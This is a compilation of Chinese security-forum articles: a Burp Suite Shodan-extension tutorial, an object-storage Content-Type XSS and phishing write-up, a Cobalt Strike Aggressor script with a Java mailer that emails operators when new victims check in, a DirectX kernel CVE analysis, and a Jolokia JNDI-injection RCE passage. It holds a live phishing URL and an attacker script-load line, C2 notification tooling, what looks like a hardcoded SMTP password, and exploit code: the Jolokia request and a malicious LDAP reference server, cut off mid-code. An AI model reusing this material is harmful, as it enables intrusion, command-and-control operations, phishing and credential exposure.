# 【技术分享】Burp Suite扩展开发之Shodan扫描器（已开源） | ##### 译文声明 本文是翻译文章，文章来源：resources.infosecinstitute.com 原文地址：<http://resources.infosecinstitute.com/writing-burp-extensions-shodan-scanner/> 译文仅供参考，具体内容表达以及含义原文为准。 **** **** **翻译：**[ **scriptkid** ****](http://bobao.360.cn/member/contribute?uid=2529059652) **预估稿费：130RMB（不服你也来投稿啊！）** **投稿方式：发送邮件 至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿** **前言** 我们将在本文中探讨Burp扩展的编写，在最后，我们将完成一款通过shodan API对任意HTTP请求中的域名进行对应IP地址查询以及获取特殊信息的扩展。 我将本文分为以下几个层次，因此你可以跳过已经了解的部分： 1\. Burp扩展接口介绍 2\. 环境配置 3\. 利用Shodan API编写简单的端口扫描 4\. 参考来源 **Burp扩展接口介绍** 编写Burp扩展的原理围绕着对基础的OOPS概念以及对编程语言的一点点熟悉。Brup提供了大量与其开放接口进行交互的方式，同时提供了许多内置扩展功能，比如Target,Repeater,Scanner等。在此，我们将探究那些接口以及我们如何利用他们来编写我们的第一个扩展。 在本文中，我们将主要用到以下接口： IBurpExtender IContextMenuFactory 除了上述接口，我们还需要用到以下java库： Javax.swing **IBurpExtender** 如所有Burp文档提到的，所有扩展都必须声明该接口。原因很简单，为了创建我们的扩展，我们必须首先对其进行注册。这由扩展registerExtenderCallbacks来实现。其提供了一系列由IBurpExtenderCallbacks 接口实现的功能。 **IContextMenuFactory** 该接口主要处理上下文数据，这有助于我们使用IContextMenuInvocation接口实现的一系列函数。这些函数可以用来取出活添加信息到burp提供的任何上下文中，也就是说，我们可以精确定义我们的上下文菜单应该出现在Burp的哪个位置。 **Javax.swing** 我们将使用java的swing库来创建GUI。 **环境配置** 我们本文的目标是创建一个名为“Scan with Shodan”的上下文菜单入口，当用户选择该选项时，我们的代码将从选择的请求中取出HTTP的host值，然后发送host对应的IP地址到Shodan API，最后展示出返回结果。 **获取Shodan API key** 为了获得Shodan API key，我们需要在[这里](https://account.shodan.io/login)注册一个账户，然后来到个人页并复制key，将key放置于后续部分中代理里的start_scan函数中。 **获取Jython独立Jar文件** 因为我们将通过python调用java库，我们需要一个能将python代码转换到java接口的转换器，这里我们使用Jython。在[这里](http://www.jython.org/downloads.html)下载Jython的jar文件。 **设置环境** 接下来我们就来配置我们的环境，这样当扩展完成时我们就可以直接加载了。步骤如下： 1\. 打开Burp 2\. 切到Extender>option 3\. 在Python Environment部分，选择下载好的Jython jar文件。 ### **利用Shodan API编写简单的端口扫描器** 接下来让我们从burp中import前面提到的一些重要的接口，然后通过重载registerExtenderCallbacks函数来注册我们的扩展。我们通过声明类变量self.callbacks来进一步获取IBurpExtenderCallbacks函数的实例。通过callback 实例中的“setExtensionName”可以设置扩展名，通过注册ContextMenuFactory可以创建上下文菜单以及期望的入口。 接着我们通过重写IBurpContextMenuFactory接口提供的函数来创建上下文菜单。通过portswigger提供的文档，我们可以看到我们可以使用createMenuItems函数来实现，该函数最后返回一个JMenuItem列表。 接下来我们通过重写函数来添加我们的项目名到菜单项列表中。JMeuItem要求诸如名字、图标等参数。这里我们只关注名字和响应动作。响应动作要求一个函数作为参数，并在菜单项被点击时调用该函数。这里我们用python的匿名函数来传递多个参数到函数中，然后返回到目前为止所添加的菜单项列表。 接着我们分别添加startThreaded和start_scan两个函数。添加startThreaded函数的原因是，所有的鼠标点击事件都是异步的，因此当我们调用我们的扩展时，burp将会完全挂起直到调用事件完成。由于我们设计的任务需要一点时间来完成，因此我们需要将其设置为后台进程。 start_scan函数只是简单地获取调用实例，然后使用getSelectedMessages函数来从被调用的地方获取HTTP请求/响应对象。 接着我们通过IHttpRequestResponse接口来检索HTTP服务对象并通过getHost函数来获取hostname。因为Shodan API需要IP地址来获取我们需要的信息，因此我们使用python socket模块中的gethostbyname函数来实现。我们通过使用python的urllib2模块来发起http请求并在响应中加载JSON数据。 **加载并执行Burp扩展的步骤** 1\. 切到extender>extensions>add>选择extension type>选择扩展文件>点击next 2\. 如果一切都如上述步骤正常完成，那你应该在extensions页面见到你的扩展被加载了 3\. 在proxy histroy中选择任意请求，然后点击之前创建的上下文菜单入口。 现在你应该在extension输出页上看到结果。 完整代码可以在[这里下载](https://github.com/hackzsd/BurpExtenderPractise)。 **参考来源** <https://portswigger.net/burp/extender/api/index.html> <https://portswigger.net/burp/extender/> <https://www.shodan.io/>
社区文章
### 事件背景 安全研究员在近期发现网络上频繁发生国内大型互联网厂商上传图片后解析成html、js页面，被黑产人员用作钓鱼攻击。 ### 攻击案例 酷狗钓鱼链接： `http://userphoto.bssdl.kugou.com/70296bbe6e02223af1cfb952b2eefcb3.jpg#1519721124069` 实际上攻击者上传了一个内容为`<script src=//55555.gz.bcebos.com/mjk.js?111></script>`的后缀为jpg的文件，当用户打开原本是图片的网址，会被浏览器渲染成js最终的展示效果，包括一些列的鼠标事件和跳转。 ### 漏洞分析 网易对象存储中提到 **“文件的 MIME，定义文件的类型及网页编码，决定浏览器将以什么形式、什么编码读取文件。如果用户没有指定则根据 Key 或文件名的扩展名生成，如果没有扩展名则填默认值”** 以163站点为例<http://new.hi.163.com/#/setting/step1> ，163新闻讨论站点上传头像地址。 攻击步骤： #### 0x01: 无论我们上传什么类型后缀的文件，只要截获上传数据包，将content-type类型修改为“text/html”： #### 0x02: 打开上传后的文件地址：<http://hi-163-common.nosdn.127.net/upload/201802/27/6efee9301baa11e89a72a5fc87cb5892> 发现content-type为我们上传时设置的text/html，发现原本的图片，已经把内容当做html进行渲染。 攻击者可通过自定义上传content-type类型，进行xss或者钓鱼攻击。 ### 修复方案 在使用对象存储时，根据业务需要在服务端校验Content-Type。 ### 写在最后 ​ 在几个月前我就在博客中有写到一篇[《阿里云OSS约等于文件上传漏洞？》](https://xianzhi.aliyun.com/forum/topic/2)的文章，其中就提到了任意文件上传导致xss漏洞，当时只是发现了现象，并没有对oss云存储的形成漏洞的原因进一步测试总结。 ​ 现在来看除了用户使用上要严格校验上传文件类型外，OSS文件存储是否也应该在设计上避免“因用户默认不在后端校验文件MIME类型”导致的安全隐患呢？ 见帖子2楼
社区文章
# Cobalt Strike神器高级教程利用Aggressor脚本编写目标上线邮件提醒 ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 ## 前言 很久以前就想写这篇文章了，今天发这篇文章主要想多结识下喜欢开发的大佬们。个人认为Cobalt Strike强大不止在于后渗透跟权限维持上，还有强大的可扩展性，打造出一款强大的渗透神器如：添加上线自动化持久性权限控制，APT攻击目标上线提醒，AV识别等等一系列功能，这边先编写一个上线邮件提醒功能，还有很多十分强大引用下Github的项目大家一看便知。 <https://github.com/bluscreenofjeff/AggressorScripts> <https://github.com/harleyQu1nn/AggressorScripts> 开源的项目有很多跟自己需求不符所以自己学习了一下[Aggressor](https://www.cobaltstrike.com/aggressor-script) 脚本基础，首先Aggressor脚本基于Sleep脚本编写的所以在学习Aggressor脚本之前需要先学习[Sleep](http://sleep.dashnine.org/manual)语言。我们直接进入正题介绍下Aggressor脚本，大多数Cobalt Strike对话框和功能都是作为独立模块编写的，这些模块向Aggressor Script引擎提供了一些接口如[default.cna](https://www.cobaltstrike.com/aggressor-script/default.cna)定义了默认的Cobalt Strike的工具栏按钮，弹出式菜单，除此之外可以利用提供的API来模拟红队成员与你并肩作战以及扩展跟修改Cobalt Strike的现有功能等。 ## 目标：上线邮件提醒 基础知识大家看[文档学习](https://www.cobaltstrike.com/aggressor-script)这里就不啰嗦了直接进入正题，编写上线邮件提醒脚本发送邮件的部分我们采用java编写，因为java可以跨平台使用所以我们可以在windows，mac，linux，首先我们需要先了解如何在Aggressor中如何加载java类并且实例化java对象。 #导入jar包 import package from: path-to/filename.jar; #实例化对象并传入参数相当于java中 Point point = new Point(3,4); $point = [new Point: 3, 4]; println($point); java.awt.Point[x=3,y=4] #导入包也可以用import java.awt.*; 了解到如何加载java类后通过调用`beacon_initial`方法在新目标上线时执行相应的方法。 on beacon_initial { # 做一些东西 } 通过以上知识编写好java类打包成Jar（源代码在下方会提供）提供一个带参数的方法在Aggressor脚本中的beacon_initial方法进行加载从而发送邮件。 ## 这里把版本分为了命令行版与GUI版本如下： ### 命令行版代码 import email.content.Main from: cna_mail.jar; on beacon_initial { # 循环获取所有beacon #[email protected] 代表接收发送邮箱 #account 代表接收邮箱列表 foreach $entry (beacons()) { if($entry['id'] == $1){ @account = @("[email protected]","[email protected]"); $value = [new Main]; [$value setValue : "[email protected]","password","smtp.163.com",@account,$entry['computer'],"fajianren",,"Target ip:" . $entry['internal'] . " Target host: " . $entry['computer']]; [$value start]; } } } 命令行版主要作用是在服务器上进行运行运行完成后无需在操作上线即可接收到邮箱内容为`Target ip:xxxx Target host:xxxx`，加载方法如下： ./agscript [host] [port] [user] [password] [/path/to/script.cna] 在GUI客户端可以查看到ad用户以上线 **GUI版本代码** import email.content.Main from: cna_mail.jar; local('$smtp $myEmailAccount $myEmailPassword $Sender @Recipients'); sub stage_attack{ %options = $3; $smtp = %options['smtp']; $myEmailAccount = %options['myEmailAccount']; $myEmailPassword = %options['myEmailPassword']; $Sender = %options['Sender']; #输入的内容是以,隔开的所以这里有,进行分割 @Recipients = split(',',%options['Recipients']); } on beacon_initial { show_message($myEmailPassword); foreach $entry (beacons()) { if($entry['id'] == $1){ $value = [new Main]; [$value setValue : $myEmailAccount,$myEmailPassword,$smtp,@Recipients,$entry['computer'] ,$Sender,"Target ip:" . $entry['internal'] . " Target host: " . $entry['computer']]; [$value start]; println(@Recipients); } } } popup attacks { local('$dialog %defaults'); item "set email"{ # setup our defaults %defaults["smtp"] = "smtp.163.com"; %defaults["myEmailAccount"] = "[email protected]"; %defaults["myEmailPassword"] = "*******"; %defaults["Sender"] = "Sender"; %defaults["Recipients"] = "[email protected]"; $dialog = dialog("email online reminder", %defaults, &stage_attack); dialog_description($dialog, "This is a cobalt strike on-line automatically remind the plug-in if there are multiple recipients please use, separated."); drow_text($dialog, "smtp", "smtp: "); drow_text($dialog, "myEmailAccount", "Outbox: "); drow_text($dialog, "myEmailPassword", "Password: "); drow_text($dialog, "Sender", "Sender: "); drow_text($dialog, "Recipients", "Recipients: "); dbutton_action($dialog, "Launch"); # show our dialog dialog_show($dialog); } } **GUI版本加载方法* 通过点击**Cobalt Strike – > Script Manager **并按** Load**在图形化中脚本。 GUI版本主要就是为了方便在GUI界面中使用，使用dialog的方式进行呈现方便用户使用，在attacks下载框中添加`set email`选项点击调用一个dialog输入框输入完成点击`Launch` 即可。 **cna_mail.jar** 使用java编写aggressor脚本提供Main类中的setValue进行参数传递，start方法进行邮件发送。 package email.content; import javax.mail.Address; import javax.mail.Session; import javax.mail.Transport; import javax.mail.internet.InternetAddress; import javax.mail.internet.MimeMessage; import java.util.Date; import java.util.Properties; /** * JavaMail 版本: 1.6.0 * JDK 版本: JDK 1.7 以上（必须） */ public class Main { // 发件人的 邮箱 和 密码（替换为自己的邮箱和密码） // PS: 某些邮箱服务器为了增加邮箱本身密码的安全性，给 SMTP 客户端设置了独立密码（有的邮箱称为“授权码”）, // 对于开启了独立密码的邮箱, 这里的邮箱密码必需使用这个独立密码（授权码）。 public String myEmailAccount = "[email protected]"; public String myEmailPassword = "qyeycemagybdijgc"; public String personal= ""; public String subject= ""; public String value=""; // 发件人邮箱的 SMTP 服务器地址, 必须准确, 不同邮件服务器地址不同, 一般(只是一般, 绝非绝对)格式为: smtp.xxx.com // 网易163邮箱的 SMTP 服务器地址为: smtp.163.com public String myEmailSMTPHost = "smtp.163.com"; // 收件人邮箱（替换为自己知道的有效邮箱） public static String[] receiveMailAccount={"[email protected]"}; public void setValue(String myEmailAccount,String myEmailPassword,String myEmailSMTPHost,String[] receiveMailAccount,String subject,String personal,String value){ this.myEmailAccount = myEmailAccount; this.myEmailPassword = myEmailPassword; this.myEmailSMTPHost = myEmailSMTPHost; this.receiveMailAccount = receiveMailAccount; this.personal=personal; this.value=value; this.subject=subject; } public void start(){ Properties props = new Properties();// 参数配置 props.setProperty("mail.transport.protocol", "smtp"); // 使用的协议（JavaMail规范要求） props.setProperty("mail.smtp.host", myEmailSMTPHost); // 发件人的邮箱的 SMTP 服务器地址 props.setProperty("mail.smtp.auth", "true");// 需要请求认证 // PS: 某些邮箱服务器要求 SMTP 连接需要使用 SSL 安全认证 (为了提高安全性, 邮箱支持SSL连接, 也可以自己开启), // 如果无法连接邮件服务器, 仔细查看控制台打印的 log, 如果有有类似 “连接失败, 要求 SSL 安全连接” 等错误, // 打开下面 /* ... */ 之间的注释代码, 开启 SSL 安全连接。 /* // SMTP 服务器的端口 (非 SSL 连接的端口一般默认为 25, 可以不添加, 如果开启了 SSL 连接, // 需要改为对应邮箱的 SMTP 服务器的端口, 具体可查看对应邮箱服务的帮助, // QQ邮箱的SMTP(SLL)端口为465或587, 其他邮箱自行去查看) final String smtpPort = "465"; props.setProperty("mail.smtp.port", smtpPort); props.setProperty("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory"); props.setProperty("mail.smtp.socketFactory.fallback", "false"); props.setProperty("mail.smtp.socketFactory.port", smtpPort); */ final String smtpPort = "465"; props.setProperty("mail.smtp.port", smtpPort); props.setProperty("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory"); props.setProperty("mail.smtp.socketFactory.fallback", "false"); props.setProperty("mail.smtp.socketFactory.port", smtpPort); // 2. 根据配置创建会话对象, 用于和邮件服务器交互 Session session = Session.getInstance(props); session.setDebug(true); // 设置为debug模式, 可以查看详细的发送 log // 3. 创建一封邮件 MimeMessage message = null; try { message = createMimeMessage(session, myEmailAccount, receiveMailAccount); // 4. 根据 Session 获取邮件传输对象 Transport transport = session.getTransport(); // 5. 使用 邮箱账号 和 密码 连接邮件服务器, 这里认证的邮箱必须与 message 中的发件人邮箱一致, 否则报错 // //PS_01: 成败的判断关键在此一句, 如果连接服务器失败, 都会在控制台输出相应失败原因的 log, // 仔细查看失败原因, 有些邮箱服务器会返回错误码或查看错误类型的链接, 根据给出的错误 // 类型到对应邮件服务器的帮助网站上查看具体失败原因。 // //PS_02: 连接失败的原因通常为以下几点, 仔细检查代码: // (1) 邮箱没有开启 SMTP 服务; // (2) 邮箱密码错误, 例如某些邮箱开启了独立密码; // (3) 邮箱服务器要求必须要使用 SSL 安全连接; // (4) 请求过于频繁或其他原因, 被邮件服务器拒绝服务; // (5) 如果以上几点都确定无误, 到邮件服务器网站查找帮助。 // //PS_03: 仔细看log, 认真看log, 看懂log, 错误原因都在log已说明。 transport.connect(myEmailAccount, myEmailPassword); // 6. 发送邮件, 发到所有的收件地址, message.getAllRecipients() 获取到的是在创建邮件对象时添加的所有收件人, 抄送人, 密送人 transport.sendMessage(message, message.getAllRecipients()); // 7. 关闭连接 transport.close(); } catch (Exception e) { e.printStackTrace(); } } /** * 创建一封只包含文本的简单邮件 * * @param session 和服务器交互的会话 * @param sendMail 发件人邮箱 * @param receiveMail 收件人邮箱 * @return * @throws Exception */ public MimeMessage createMimeMessage(Session session, String sendMail, String[] receiveMail) throws Exception { // 1. 创建一封邮件 MimeMessage message = new MimeMessage(session); // 2. From: 发件人（昵称有广告嫌疑，避免被邮件服务器误认为是滥发广告以至返回失败，请修改昵称） message.setFrom(new InternetAddress(sendMail, personal, "UTF-8")); Address a = null; // 3. To: 收件人（可以增加多个收件人、抄送、密送） //for (String email:receiveMail) { // a = new InternetAddress(email, personal1, "UTF-8"); //} InternetAddress[] address = new InternetAddress[receiveMail.length]; for (int i = 0; i < receiveMail.length; i++) { address[i] = new InternetAddress(receiveMail[i]); } message.setRecipients(MimeMessage.RecipientType.TO, address); // 4. Subject: 邮件主题（标题有广告嫌疑，避免被邮件服务器误认为是滥发广告以至返回失败，请修改标题） message.setSubject(subject, "UTF-8"); // 5. Content: 邮件正文（可以使用html标签）（内容有广告嫌疑，避免被邮件服务器误认为是滥发广告以至返回失败，请修改发送内容） message.setContent(value, "text/html;charset=UTF-8"); // 6. 设置发件时间 message.setSentDate(new Date()); // 7. 保存设置 message.saveChanges(); return message; } } 编译好cna_mail.jar跟Aggressor脚本放入Cobalt Scrike目录即可使用。 由于第一次写文章有很多地方还有些不足，希望能多认识各位大佬和大佬们多多交流。 附github地址 <https://github.com/SuperDong0/Aggressor_mail>
社区文章
# 从DirectX到Windows内核——几个CVE漏洞浅析 ##### 译文声明 本文是翻译文章，文章原作者 zerodayinitiative，文章来源：zerodayinitiative.com 原文地址：<https://www.zerodayinitiative.com/blog/2018/12/4/directx-to-the-kernel> 译文仅供参考，具体内容表达以及含义原文为准。 ## 一、前言 操作系统内核是每个漏洞利用链的最终目标，大家可以查看Zero Day Initiative (ZDI) Pwn2Own历年比赛，了解这方面内容。Windows内核一直以来都是攻击者热衷的目标，我最喜欢的就是滥用`DeviceIoControl`调用来与各种驱动打交道，这样就能访问许多厂商编写的各种驱动，其中许多驱动代码写得并不完善，也没有经过完备测试。 多年以来，许多攻击者都借助`win32k.sys`来攻击Windows内核，这是一个内核模式设备驱动，可以控制Windows图形及窗口管理系统。当微软将该功能从CSRSS中迁移到内核时，进入Windows内核的攻击面也增加了1倍或者3倍，从那时起这已经成为许多漏洞的发源地。 在过去十年期间，自从WDDM（Windows Display Driver Model）取代早期的XDDM后，大家又找到了另一个巨大的攻击面。显示系统调用操作首先会经过`win32k.sys`处理，但在此之后，用户进程就可以直接调用`dgxkrnl.sys`，或者通过`GDIPlus`中的入口点直接调用其他驱动。这进一步扩大了攻击面，因此引起了研究人员的浓厚兴趣。 2018年春季，ZDI从腾讯ZhanluLab的ChenNan及RanchoIce手中购买了5个针对DirectX内核接口的漏洞，利用这些漏洞成功从微软获取了4个CVE编号。本文分析了这些漏洞，并且提供了相应的PoC代码（代码已在我们网站上公布）。 此外，Rancho和ChenNan在9月份的44CON会议上介绍过其中一种攻击技术（ZDI-18-946/CVE-2018-8405），强烈建议大家去学习此次演讲的[演示文稿](https://github.com/RanchoIce/44Con2018/blob/master/44Con-Gaining%20Remote%20System%20Subverting%20The%20DirectX%20Kernel.pdf)。 ## 二、DirectX概览 在分析漏洞之前，我们首先来简要回顾一下DirectX接口及驱动。 DirectX图形内核子系统由3个内核模式驱动所组成：`dxgkrnl.sys`、`dxgmms1.sys`以及`dxgmms2.sys`。这些驱动会通过`win32k.sys`以及自己的接口来与用户通信。此外，这些驱动也会与`BasicRender.sys`、`BasicDisplay.sys`以及miniport（微型端口）显示驱动通信。 DirectX定义了许多复杂的内核对象，大部分对象名以`DXG`开头。用户通过许多复杂的API接口与DirectX交互，其中许多接口以`D3DKMT`开头，其他接口以`DXGK`开头。 其中比较有趣的部分入口点如下所示： * `D3DKMTEscape`：这个入口点以用户完全可控的一段数据作为输入。输入数据可能非常大，因此系统很有可能将其存储在用户内存中，而不会在切换到内核处理期间在内核中捕获这段数据。这样一来，如果没有妥善处理，相关内核例程就很容易存在TOC/TOU（ time of check，time of use，基于检验时间/使用时间的一种异步攻击）漏洞。这段数据并不是标准化结构，每个驱动都有自己的定义。 * `D3DKMTRender`：这个入口点是实际渲染图形数据的核心。来自用户地址的命令以及patch缓冲区会交由内核驱动来解释，实际上这些数据会传递给miniport驱动。同样，这也是竞争条件问题的滋生地。此外，渲染过程还会生成worker线程，更容易出现竞争条件漏洞。 * `D3DKMTCreateAllocation`：这个入口点用来分配内存。由于传递给API的不同标志和句柄之间有各种复杂的相互作用，因此可能会出现一些问题（参考下文的ZDI-18-946内容）。 从攻击角度来看，来自IOActive的Ilja van Sprundel曾在2014年的Black Hat会议上做过关于WDDM的一次演讲，题目为“[Windows Kernel Graphics Driver Attack Surface](https://www.blackhat.com/docs/us-14/materials/us-14-vanSprundel-Windows-Kernel-Graphics-Driver-Attack-Surface.pdf)”，这是非常好的概述资料。强烈推荐大家先参考这份材料，其中详细介绍了有关WDDM内核方面的复杂攻击面。 ## 三、漏洞分析 大家可以访问[此处](https://github.com/thezdi/PoC/tree/master/DirectX)下载PoC源代码。如果大家想复现崩溃问题，需要安装2018年8月份之前的Windows版本（当时Windows还没打上补丁）。在测试过程中，记得将内核调试器attach目标主机上，并在待攻击的驱动上设置Special Pool（特殊池）。我已在Windows 10 x64位系统上测试过本文分析的这些漏洞。 ### ZDI-18-946/CVE-2018-8405：D3DKMTCreateAllocation类型混淆漏洞 我们分析的第一个漏洞位于`dgxkrnl.sys`的`DXGDEVICE::CreateAllocation`方法中，可通过`D3DKMTCreateAllocation`接口触发，本地攻击者可以利用该漏洞将权限提升到`SYSTEM`级别。大家可以访问[此处](https://www.zerodayinitiative.com/advisories/ZDI-18-946/)阅读我们的安全公告，访问[此处](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8405)获取微软补丁。漏洞根源在于驱动没有正确验证用户提供的数据，导致存在类型混淆情况。 为了复现漏洞，我们需要在运行PoC之前在`dxgkrnl.sys`上设置一个Special Pool。类型混淆问题源自于在pool分配中没有正确使用`CrossAdapter`标志。在pool分配过程中，PoC代码将`CrossAdapter`标志设置为`0`，然后将所得句柄传递给第2个分配过程，其中`CrossAdapter`标志被设置为`1`。 蓝屏信息分析如下： 错误代码位于`DXGDEVICE::CreateAllocation`，这是一个在分配过程结束时的一个典型的类型混淆问题： ### ZDI-18-947/CVE-2018-8406：D3DKMTRender类型混淆漏洞 下一个漏洞位于`dxgmms2.sys`驱动中，可通过`D3DKMTRender`方法触发。攻击者同样可以利用这个漏洞将权限提升到`SYSTEM`级别。大家可以访问[此处](https://www.zerodayinitiative.com/advisories/ZDI-18-947/)了解我们的安全公告，访问[此处](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8406)获取相应补丁。与第一个漏洞一样，这个bug会导致出现类型混淆情况。虽然本质上相似，但这些bug的根本原因并不相同。 同样，我们需要在`dxgkrnl.sys`和`dxgmms2.sys`上启用Special Pool才能复现bug，当然我们也需要将内核调试器attach到目标主机。这个类型混淆源自于两个不同适配器之间混乱的分配操作。 相关PoC代码如下： PoC崩溃细节： 存在漏洞代码如下： ### ZDI-18-950/CVE-2018-8400：D3DKMTRender不可信指针引用解析漏洞 这个漏洞同样可以由`D3DKMTRender`例程触发。漏洞位于`dxgkrnl.sys`的`DGXCONTEXT::ResizeUserModeBuffers`方法中。大家可以访问[此处](https://www.zerodayinitiative.com/advisories/ZDI-18-950/)了解我们的安全公告，访问[此处](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8400)获取微软补丁。由于驱动在将用户提供的值作为指针解析引用（dereference）时，并没有正确验证这个值，因此导致这个bug出现。出现指针dereference问题，是因为驱动会信任用户设置的一个标志。相关PoC细节如下： 导致出现崩溃现象： 调用栈： 存在漏洞的代码： 显然，用户提供的标志本不应该导致内核中出现任意dereference问题。 ### ZDI-18-951/CVE-2018-8401：BasicRender竞争条件漏洞 最后一个漏洞稍微有点复杂，漏洞位于`BasicRender`驱动对`D3DKMTMarkDeviceAsError` API以及`D3DKMTSubmitCommand` API的处理过程中。大家可以访问[此处](https://www.zerodayinitiative.com/advisories/ZDI-18-951/)阅读我们的安全公告，访问[此处](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8401)下载微软补丁。这个漏洞中，共享资源并没有得到适当的保护，可能导致出现内存破坏问题。攻击者可以利用这个漏洞将权限提升为`SYSTEM`级别。恶意软件经常使用这类权限提升方法，在用户不小心点击某些东西的时候将自己安装到目标系统中。需要注意的是，微软为这个bug和[ZDI-18-949](https://www.zerodayinitiative.com/advisories/ZDI-18-949/)分配了同一个CVE编号，表明这两个漏洞的根本原因相同。 这两个漏洞的PoC代码存在相关性，但有所区别。 第一个PoC的关键代码如下： 每次调用`SubmitCommand`时都会通过`VidSchiWorkerThread`生成一个线程。调用`MakeDeviceError`会修改相同对象的状态，导致出现竞争条件。 最终会出现崩溃： 对同一个位置有两次修改，出现竞争条件： 对于`ZDI-18-949`，虽然漏洞根源一样，但我们还是可以在PoC代码中看到不同之处。PoC中关键代码如下： 执行这个PoC会导致`Run`方法崩溃： 存在漏洞的代码如下： 存在漏洞的代码会在第二次运行`Run`时崩溃。 ## 四、总结 WDDM以及DirectX图形内核代码使用了许多复杂对象、为用户代码创建许多新的复杂接口，从而为Windows提供了非常强大和灵活的图形系统。分析前文提供的PoC后，大家应该对DirectX在对象实现上的复杂度以及未来该领域可以研究的方向有所了解，我认为该领域还有许多尚未挖掘的财富。 通过直接静态分析方法，我们还是可以获取一些攻击信息，然而这肯定是一项艰巨的任务。还有一种可能采取的方法，我们可以部署一个模糊测试框架，在不同的标志上设置不同的值，然后以不同的顺序来调用DirectX方法，查找崩溃点。当然，我们也可以添加多个线程修改及释放数据，来寻找是否存在竞争条件和TOC/TOU问题。另外别忘了在所有相关驱动上设置Special Pool。 老生常谈，Zero Day Initiative对新漏洞非常感兴趣，当大家发现新漏洞时，可以通过推特（@FritzSands）联系我，也可以关注我们团队的[推特](https://twitter.com/thezdi)获取最新漏洞利用技术和安全补丁信息。
社区文章
原文：<https://blog.gdssecurity.com/labs/2018/4/18/jolokia-vulnerabilities-rce-xss.html> 最近，安全研究人员在Jolokia服务中发现了几个zero-day漏洞。众所周知，Jolokia是一款开源产品，用于为JMX（Java Management Extensions）技术提供HTTP API接口。其中，该产品提供了一个API，用于调用在服务器上注册的MBean并读/写其属性。JMX技术用于管理和监视设备、应用程序和网络驱动的服务。 这次发现的两个漏洞为： * 基于JNDI注入的远程执行代码漏洞——[CVE-2018-1000130](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000130 "CVE-2018-1000130") * 跨站脚本漏洞——[CVE-2018-1000129](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000129 "CVE-2018-1000129") 受影响的软件版本： * 1.4.0及以下版本受到这两个漏洞的影响，而1.5.0版已经解决了这两个安全问题。 在深入研究这些漏洞之前，先来点开胃小菜——如果有人认为文档对于漏洞猎手来说是无用的，那么不妨看看下图： **基于JNDI注入的远程执行代码漏洞（CVE-2018-1000130）** * * * Jolokia服务提供了一个代理模式，对于1.5.0之前的版本来说，默认情况下该模式含有一个JNDI注入漏洞。当Jolokia以代理模式进行部署时，可以访问Jolokia Web端点的外部攻击者能够利用JNDI注入攻击远程执行任意代码。这种注入攻击之所以能够得手，是因为Jolokia库使用用户提供的输入来启动LDAP/RMI连接。 在BlackHat USA 2016大会上，HP Enterprise就解释过JNDI攻击，同时，他们还展示了一些将JNDI攻击转换为远程执行代码的方法。 当第三方系统在代理模式下使用Jolokia服务的时候，该系统可以通过Jolokia端点执行远程代码。虽然端点被视为Jolokia的一个组件，但是Jolokia并没有为这个端点提供任何认证机制来保护服务器免受任意攻击者的攻击——尽管其官方文档强烈推荐提供认证机制。 **漏洞复现步骤：** 出于演示目的，我们将在loopback接口上运行漏洞利用链中的所有组件。 1. 我们可以利用下面的POST请求来利用这个漏洞： POST /jolokia/ HTTP/1.1 Host: localhost:10007 Content-Type: application/x-www-form-urlencoded Content-Length: 206 { "type" : "read", "mbean" : "java.lang:type=Memory", "target" : { "url" : "service:jmx:rmi:///jndi/ldap://localhost:9092/jmxrmi" } } 1. 接下来，我们需要创建LDAP和HTTP服务器来为恶意载荷提供相应的服务。这些代码片段取自[marshalsec](https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java "marshalsec")和[zerothoughts](https://github.com/zerothoughts/spring-jndi/tree/master/client/src/main/java "zerothoughts")的GitHub存储库。 public class LDAPRefServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main ( String[] args ) { int port = 1389; // Create LDAP Server and HTTP Server if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) { System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); System.exit(-1); } else if ( args.length > 1 ) { port = Integer.parseInt(args[ 1 ]); } try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); System.out.println("Starting HTTP server"); HttpServer httpServer = HttpServer.create(new InetSocketAddress(7873), 0); httpServer.createContext("/",new HttpFileHandler()); httpServer.setExecutor(null); httpServer.start(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "ExportObject"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } System.out.println("javaCodeBase: " + cbstring); e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } } public class HttpFileHandler implements HttpHandler { public void handle(HttpExchange httpExchange) { try { System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + 